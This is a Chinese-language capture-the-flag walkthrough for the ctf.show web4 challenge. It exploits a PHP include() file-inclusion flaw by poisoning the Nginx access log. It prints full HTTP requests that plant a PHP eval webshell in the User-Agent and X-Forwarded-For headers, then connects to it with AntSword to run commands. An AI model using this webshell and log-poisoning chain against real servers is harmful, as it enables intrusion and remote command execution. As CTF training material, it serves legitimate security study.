ctf.show_web4

这道题是 日志包含 + 命令 / 后门注入,核心思路是:

  1. 利用 include($_GET['url']) 包含 Nginx 访问日志
  2. 在请求头里写入 PHP 一句话木马,让日志里留下可执行的后门代码
  3. 用蚁剑连接后门,拿到 flag

✅ 步骤 1:确认日志路径可包含

先访问日志文件,验证文件包含漏洞:

plaintext

复制代码
http://你的目标地址/?url=/var/log/nginx/access.log

如果页面返回 Nginx 访问日志(像截图里那样),说明日志包含成功,可以继续下一步。


✅ 步骤 2:在请求头注入 PHP 后门

用 Burp Suite 抓包,修改请求头,在 User-AgentX-Forwarded-For 里写入一句话木马:

http

复制代码
GET /?url=/var/log/nginx/access.log HTTP/1.1
Host: 你的目标地址
User-Agent: <?php @eval($_POST['-123']); ?>
X-Forwarded-For: <?php @eval($_POST['-123']); ?>
Connection: close
  • 密码设为 -123(你可以随便改)
  • 发送这个请求,Nginx 会把这个 User-Agent 写入访问日志,日志里就有了可执行的 PHP 代码

✅ 步骤 3:包含日志,让后门生效

再次访问日志路径,让服务器执行日志里的 PHP 代码:

plaintext

复制代码
http://你的目标地址/?url=/var/log/nginx/access.log

这一步会让 include() 把日志里的 <?php @eval($_POST['-123']); ?> 当作 PHP 代码执行。


✅ 步骤 4:用蚁剑连接后门

  1. 打开蚁剑,点击「添加数据」

  2. 输入 URL: plaintext

    复制代码
    http://你的目标地址/?url=/var/log/nginx/access.log
  3. 密码填 -123(和你刚才注入的密码一致)

  4. 选择「POST」方式,点击「测试连接」

  5. 连接成功后,就可以管理服务器文件、执行命令,直接找到 flag

具体操作

步骤 1:用 Burp Suite 抓包并注入一句话木马

  1. 打开 Burp Suite,开启 Proxy → Intercept 拦截。

  2. 浏览器访问: plaintext

    复制代码
    https://00abbcc6-76e6-4297-a3f7-e3a1a99213d7.challenge.ctf.show/?url=/var/log/nginx/access.log
  3. Burp 会拦截到这个 GET 请求,修改请求头 ,在 User-Agent 里写入 PHP 一句话木马:

    http

    复制代码
    GET /?url=/var/log/nginx/access.log HTTP/1.1
    Host: 00abbcc6-76e6-4297-a3f7-e3a1a99213d7.challenge.ctf.show
    User-Agent: <?php @eval($_POST['-123']); ?>  <!-- 核心:注入后门代码 -->
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate, br
    Connection: close
    • 密码设为 -123(可以自定义)
    • 其他头保持不变
  4. 点击 Forward 放行请求,Nginx 会把这段 PHP 代码写入访问日志


✅ 步骤 2:验证日志包含后门已生效

再次在浏览器访问同一个 URL:

plaintext

复制代码
https://00abbcc6-76e6-4297-a3f7-e3a1a99213d7.challenge.ctf.show/?url=/var/log/nginx/access.log

这一步会让 include() 执行日志里的 PHP 代码,后门已经激活。


✅ 步骤 3:用蚁剑连接后门拿 flag

  1. 打开蚁剑(AntSword),点击「添加数据」。
  2. 填写信息:
    • URL 地址

      plaintext

      复制代码
      https://00abbcc6-76e6-4297-a3f7-e3a1a99213d7.challenge.ctf.show/?url=/var/log/nginx/access.log
    • 连接密码-123(和你注入的密码一致)

    • 请求方式POST

  3. 点击「测试连接」,如果提示连接成功,就可以:
    • 浏览服务器文件
    • 执行系统命令(比如 cat /flag
    • 直接找到并读取 flag 文件

💡 关键原理(为什么能成功)

  1. include($_GET['url']) 允许包含任意文件,这里我们包含了 Nginx 访问日志 /var/log/nginx/access.log
  2. 我们在 User-Agent 里写入 PHP 代码,Nginx 会把请求头原样记录到日志中。
  3. 再次包含日志时,PHP 代码会被服务器执行,相当于留下了一个后门。
  4. 蚁剑通过 POST 传递密码,执行任意系统命令,最终拿到 flag。

🚀 避坑提醒

  • 必须用 https:你的目标地址是 https,不要改成 http,否则会报错。
  • 密码要一致 :蚁剑里填的密码必须和 Burp 注入的 $_POST['xxx'] 里的 xxx 完全一样。
  • 如果蚁剑连接失败:检查 URL 是否正确、密码是否一致、是否已经成功注入了 PHP 代码到日志里。
相关推荐
用户83352502537853 分钟前
ViewModel详细解析
android
问心无愧05137 分钟前
ctf show web入门91
android·前端·笔记
YF02118 分钟前
Android App 高效升级指南:OkDownload 多线程断点续传与全版本安装适配
android·okhttp·app
huangliang07039 分钟前
MySQL 中的 distinct 和 group by 哪个效率更高?
android·数据库·mysql
程思扬9 分钟前
Android 悬浮窗状态错乱终极解决方案:告别 onResume
android·网络
逸Y 仙X34 分钟前
文章二十九:ElasticSearch分桶聚合
android·大数据·elasticsearch·搜索引擎·全文检索
陆业聪1 小时前
网络监控与容灾:让网络问题无处遁形
android·性能优化·启动优化
问心无愧05131 小时前
ctf show web入门 89
android·前端·笔记
高旭的旭1 小时前
Android Perfetto Profilers Skills 简明使用指南
android
alexhilton10 小时前
Android上的ZeroMQ:用发布/订阅模式连接Linux服务
android·kotlin·android jetpack